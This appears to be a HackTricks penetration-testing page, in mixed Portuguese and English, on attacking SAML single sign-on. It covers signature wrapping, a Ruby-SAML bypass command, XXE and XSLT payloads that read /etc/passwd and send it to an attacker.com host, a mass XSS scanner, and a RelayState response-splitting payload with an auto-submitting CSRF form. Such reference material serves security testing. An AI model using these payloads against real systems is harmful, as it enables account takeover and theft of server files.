SAML Attacks
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Ferramenta
SAMLExtractor: Uma ferramenta que pode receber uma URL ou uma lista de URLs e retorna a SAML consume URL.
Round-trip em XML
No XML, a parte assinada do XML é salva na memória, então alguma codificação/decodificação é realizada e a assinatura é verificada. Idealmente essa codificação/decodificação não deveria alterar os dados, mas com base nesse cenário, os dados verificados e os dados originais podem não ser os mesmos.
Por exemplo, verifique o código a seguir:
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML
puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
Executar o programa contra REXML 3.2.4 ou anterior resultaria na seguinte saída em vez disso:
First child in original doc: Y
First child after round-trip: Z
This is how REXML saw the original XML document from the program above:
.png)
And this is how it saw it after a round of parsing and serialization:
.png)
For more information about the vulnerability and how to abuse it:
- https://mattermost.com/blog/securing-xml-implementations-across-the-web/
- https://joonas.fi/2021/08/saml-is-insecure-by-design/
XML Signature Wrapping Attacks
In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.
The following attacks are based on this blog post and this paper. So check those for further details.
XSW #1
- Strategy: A new root element containing the signature is added.
- Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.
.png)
XSW #2
- Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
- Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.
.png)
XSW #3
- Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
- Implication: Intends to confuse the business logic into using the malicious data.
.png)
XSW #4
- Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
- Implication: Similar to XSW #3 but alters the XML structure more aggressively.
.png)
XSW #5
- Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
- Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.
.png)
XSW #6
- Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
- Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
.png)
XSW #7
- Strategy: An Extensions element is inserted with the copied Assertion as a child.
- Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
.png)
XSW #8
- Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
- Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
.png)
Tool
You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.
Ruby-SAML signature verification bypass (CVE-2024-45409)
Impact: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain any IdP-signed SAMLResponse can forge a new assertion and authenticate as arbitrary users.
High-level workflow (signature-wrapping style bypass):
- Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
- Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
- Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
- Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.
Example using the Synacktiv PoC (input is the captured SAMLResponse blob):
python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64
XXE
Se você não sabe que tipo de ataques são XXE, por favor leia a página a seguir:
XXE - XEE - XML External Entity
SAML Responses are deflated and base64 encoded XML documents e podem ser suscetíveis a XML External Entity (XXE) attacks. Ao manipular a estrutura XML da SAML Response, atacantes podem tentar explorar vulnerabilidades XXE. Aqui está como esse ataque pode ser visualizado:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]
Ferramentas
Você também pode usar a extensão do Burp SAML Raider para gerar o POC a partir de uma requisição SAML para testar possíveis vulnerabilidades XXE e vulnerabilidades SAML.
Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI
XSLT via SAML
Para mais informações sobre XSLT, veja:
XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
Extensible Stylesheet Language Transformations (XSLT) podem ser usadas para transformar documentos XML em vários formatos como HTML, JSON ou PDF. É crucial notar que as transformações XSLT são executadas antes da verificação da assinatura digital. Isso significa que um ataque pode ser bem-sucedido mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.
Aqui você pode encontrar um POC para verificar esse tipo de vulnerabilidade; na página hacktricks mencionada no início desta seção você pode encontrar payloads.
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
Ferramenta
You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI
XML Signature Exclusion
The XML Signature Exclusion observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, signature validation may not occur, making it vulnerable. It’s possibel to test this by altering the contents that are usually verified by the signature.
.png)
Ferramenta
You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so all Signature elements are removed.
With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service
Certificate Faking
Certificate Faking
Certificate Faking is a technique to test if a Service Provider (SP) properly verifies that a SAML Message is signed by a trusted Identity Provider (IdP). It involves using a *self-signed certificate to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.
Como conduzir Certificate Faking
The following steps outline the process using the SAML Raider Burp extension:
- Intercept the SAML Response.
- If the response contains a signature, send the certificate to SAML Raider Certs using the
Send Certificate to SAML Raider Certsbutton. - In the SAML Raider Certificates tab, select the imported certificate and click
Save and Self-Signto create a self-signed clone of the original certificate. - Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
- Remove any existing signatures with the
Remove Signaturesbutton. - Sign the message or assertion with the new certificate using the
(Re-)Sign Messageor(Re-)Sign Assertionbutton, as appropriate. - Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.
Token Recipient Confusion / Service Provider Target Confusion
Token Recipient Confusion and Service Provider Target Confusion involve checking whether the Service Provider correctly validates the intended recipient of a response. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the Recipient field, found within the SubjectConfirmationData element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.
Como funciona
For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.
The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.
# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
XSS na funcionalidade de logout
A pesquisa original pode ser acessada através deste link.
Durante o processo de directory brute forcing, uma página de logout foi descoberta em:
https://carbon-prototype.uberinternal.com:443/oidauth/logout
Ao acessar este link, ocorreu um redirecionamento para:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
Isso revelou que o parâmetro base aceita uma URL. Considerando isso, surgiu a ideia de substituir a URL por javascript:alert(123); numa tentativa de iniciar um ataque XSS (Cross-Site Scripting).
Exploração em Massa
A ferramenta SAMLExtractor foi usada para analisar subdomínios de uberinternal.com em busca de domínios que utilizassem a mesma biblioteca. Em seguida, um script foi desenvolvido para atingir a página oidauth/prompt. Esse script testa XSS (Cross-Site Scripting) inserindo dados e verificando se eles são refletidos na saída. Quando a entrada é de fato refletida, o script marca a página como vulnerável.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
RelayState-based header/body injection para rXSS
Alguns endpoints SAML SSO decodificam RelayState e então o refletem na resposta sem sanitização. Se você conseguir injetar quebras de linha e sobrescrever o Content-Type da resposta, pode forçar o browser a renderizar HTML controlado pelo atacante, alcançando reflected XSS.
- Ideia: abuse response-splitting via newline injection no RelayState refletido. Veja também as notas genéricas em CRLF injection.
- Funciona mesmo quando o RelayState é base64-decoded no lado do servidor: forneça um base64 que decodifique para header/body injection.
Passos generalizados:
- Construa uma sequência de header/body injection começando com uma newline, sobrescreva o content type para HTML, depois injete o payload HTML/JS:
Concept:
\n
Content-Type: text/html
<svg/onload=alert(1)>
- URL-encode a sequência (exemplo):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
- Base64-encode essa string URL-encoded e coloque-a em
RelayState.
Example base64 (from the sequence above):
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
- Envie um POST com um
SAMLResponsesintaticamente válido e oRelayStateconstruído para o SSO endpoint (por exemplo,/cgi/logout). - Entregar via CSRF: hospede uma página que auto-submeta um POST cross-origin para a origem alvo incluindo ambos os campos.
PoC contra um NetScaler SSO endpoint (/cgi/logout):
POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
Padrão de entrega de CSRF:
<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>
Por que funciona: o servidor decodifica RelayState e o incorpora na resposta de forma que permite newline injection, permitindo que o atacante influencie cabeçalhos e o corpo. Forçar Content-Type: text/html faz com que o navegador renderize o HTML controlado pelo atacante a partir do corpo da resposta.
References
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
- https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
- https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
- Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
- https://0xdf.gitlab.io/2026/03/03/htb-barrier.html
- https://github.com/synacktiv/CVE-2024-45409
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


